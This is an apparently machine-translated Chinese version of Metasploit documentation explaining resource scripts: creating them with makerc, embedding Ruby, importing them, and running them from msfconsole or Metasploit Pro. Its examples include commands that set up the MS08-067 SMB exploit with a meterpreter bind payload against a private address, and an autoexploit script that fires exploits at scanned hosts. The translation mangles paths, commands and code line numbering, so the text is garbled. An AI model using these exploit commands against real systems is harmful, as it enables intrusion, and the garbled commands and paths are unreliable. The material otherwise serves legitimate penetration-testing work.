资源脚本
资源脚本为您提供了一种在Metasploit中自动化重复任务的简单方法。从概念上讲,它们就像批处理脚本。它们包含一组命令,当您在Metasploit中加载脚本时,这些命令会自动地、顺序地执行。您可以创建资源脚本,方法是将一系列Metasploit控制台命令链接在一起,并直接嵌入Ruby来执行调用api、与数据库中的对象交互以及迭代操作等操作。
过去,Metasploit用户只能从msfconsole运行资源脚本。然而,Metasploit Pro最近的一个增强功能现在允许商业用户直接从web界面运行资源脚本。
资源脚本使您能够在Metasploit Pro的Metasploit框架中做几乎任何您可以做的事情。例如,假设您希望在工作区中找到符合特定条件的所有主机,并且希望针对它们运行一系列模块。您可以构建一个资源脚本来自动执行这些操作。如果您一直在Metasploit Pro中使用任务链,您可能想知道为什么不能使用它们来自动化这个场景。简单的答案是,您不能查询数据、精炼搜索结果或使用Ruby和任务链。
资源脚本的强大之处在于它们能够利用Metasploit和Ruby中可用的大部分功能,无论您是从Metasploit控制台还是Metasploit web界面使用它们。
可用资源脚本
Metasploit框架提供了社区贡献的几个资源脚本。如果你是一个框架用户,你可以进入/道路/ / metasploit framework /脚本/资源
查看可用的资源脚本。如果你是Metasploit Pro用户,你可以去>资源脚本在web界面或者你可以进入资源脚本目录,它位于/道路/ / metasploit-pro /应用程序/ pro /供应商/包/ ruby / < ruby版本> /珠宝/ metasploit framework——<版本> /脚本/资源
.
每个资源脚本都是为了执行特定任务和实现特定目标而设计的;但是,您可能需要修改脚本,以便在您的环境中成功地运行它们。大多数资源脚本都有描述,解释脚本的作用以及运行脚本之前需要满足的任何先决条件。
查看资源脚本的描述
大多数资源脚本都包含一个描述,告诉您它做什么,以及您可能需要自定义哪些参数以使脚本在您的环境中工作。
如果您是一个框架用户,您可能需要使用首选编辑器(如vi、vim或geedit)打开实际的资源脚本文件来查看描述。但是,一些资源脚本,如自动利用。rc,包括帮助
选项,你可以用资源
命令查看描述并识别任何必需的参数。例如,让我们看看autoexploit.rc的描述。
该描述告诉您,该脚本根据导入的扫描数据中的漏洞引用,在可能存在漏洞的主机上运行特定的漏洞利用,并显示可以通过该脚本传递的参数。
如果你是一个Metasploit Pro用户,你可以点击脚本名称来查看完整的脚本内容,如下所示:
创建资源脚本
尽管有几个资源脚本可以通过框架使用,但您可能希望构建自己的自定义脚本。例如,如果您经常针对某个目标运行特定的利用和有效负载组合,那么您可能需要创建一个资源脚本来自动执行这些命令。由于本示例纯粹使用msfconsole命令,创建资源脚本的最简单方法是通过makerc
msfconsole中可用的命令。的makerc
Command记录您在控制台中运行的所有命令,并将它们保存在资源脚本中。
让我们看一下下面的例子:
1MSF >工作区演示2MSF >使用/windows/smb/ms08_067_netapi3.msf (ms08_067_netapi) >设置RHOST 192.168.1.14MSF (ms08_067_netapi) >设置有效负载窗口/ meinterpreter /bind_tcp5MSF (ms08_067_netapi) >漏洞
要将这些命令保存到资源脚本中,可以使用makerc
命令。我们需要提供脚本要使用的输出位置和名称:
1msf (ms08_067_netapi) > makerc ~/Desktop/myscript.rc
生成的资源脚本将包含以下内容:
1工作区演示2使用开发/ windows / smb / ms08_067_netapi3.设置RHOST 192.168.1.14设置/ meterpreter / bind_tcp负载窗口5利用
每次运行资源脚本时,执行的命令都是完全相同的。
现在,假设您想导入一个Nmap扫描,并在这些主机上迭代一个模块(例如辅助/扫描模块),以便在每个主机上查找intel。因为你需要能够访问数据库,这个例子需要你使用Ruby和msfconsole命令的组合来构建一个资源脚本,如下所示:
1工作区——http_title2db_nmap -Pn -T4 -n -v -p 80——打开192.168.33.0/243.使用辅助/扫描仪/ http /标题4ruby > <5run_single(“设置RHOSTS # {framework.db.hosts.map(&:地址)。加入(' ')}”)6ruby > < /7运行
由于每个资源脚本都被视为一个ERB模板,所以您可以嵌入Ruby来做一些有用的事情,比如与数据库中的对象进行交互。在上面的脚本示例中,我们嵌入了Ruby以在一组主机上迭代运行模块。
进口资源脚本
如果您已经创建了自定义资源脚本,则需要将其导入Metasploit以运行它。导入资源脚本所使用的方法取决于所使用的Metasploit版本。
将资源脚本导入Metasploit Pro
资源脚本存储在项目中。您可以通过以下方式将资源脚本导入到项目中>资源脚本.您需要浏览到您想要导入的资源文件的位置,并将其上传到您的项目中。
导入资源脚本后,您将能够在项目中运行它,无论是作为独立任务还是作为任务链的一部分。所有导入的资源脚本都存储在/道路/ / metasploit /应用程序/ pro / rcscripts
目录中。从该位置删除任何文件将从项目中删除它们,这可能会影响使用它们的任何任务链。
将资源脚本导入Metasploit框架
Metasploit框架中的所有资源脚本都存储在/道路/ / metasploit framework /脚本/资源
.您可以在这个目录中添加您创建的任何资源脚本,以方便从msfconsole访问,或者您可以将它们存储在系统中的任何位置。属性运行资源脚本时,只需要引用资源脚本的完整路径资源
命令或- r
国旗。
运行资源脚本
您可以从msfconsole或web界面运行资源脚本。在运行资源脚本之前,需要确定运行脚本所需配置的参数。
从Metasploit框架运行资源脚本
如果您是Metasploit Framework用户,您可以从msfconsole使用资源
命令启动msfconsole时可以运行资源脚本- r
从msfconsole国旗。
如果想在msfconsole启动时自动运行资源脚本,可以使用- r
国旗:
1$ ./msfconsole -r <资源脚本>的路径
或者更具体地说,如果你想运行自动利用资源脚本,你可以运行以下脚本:
1$ ./msfconsole -r autoexploit. /msfconsoleMSF windows/smb/ms08_067_netapi
如果你已经启动了msfconsole,你可以使用以下语法运行资源脚本:
1MSF > resource[param 1] [param 2] [param 3]
运行Metasploit Pro的资源脚本
要从Metasploit Pro运行资源脚本,请转到>资源脚本找到要运行的脚本。单击脚本名称以访问详细信息页面,该页面将显示脚本的描述和运行选择。当您准备好运行脚本时,单击运行脚本就会启动。
任务日志将出现,并向您显示正在执行的任务。资源脚本运行完成后,可以进入分析区域,以查看导入到项目中的任何数据。
向任务链添加资源脚本
任务链由一系列预先配置的任务组成,您可以调度这些任务以定期运行,或者保存以按需运行。它定义了将要运行的任务、每个任务的设置以及执行这些任务所需的条件。当您希望根据计划调度和自动化运行资源脚本或保存它们以按需运行时,任务链就派上用场了。有关如何创建任务链的详细信息,请参见使用任务链.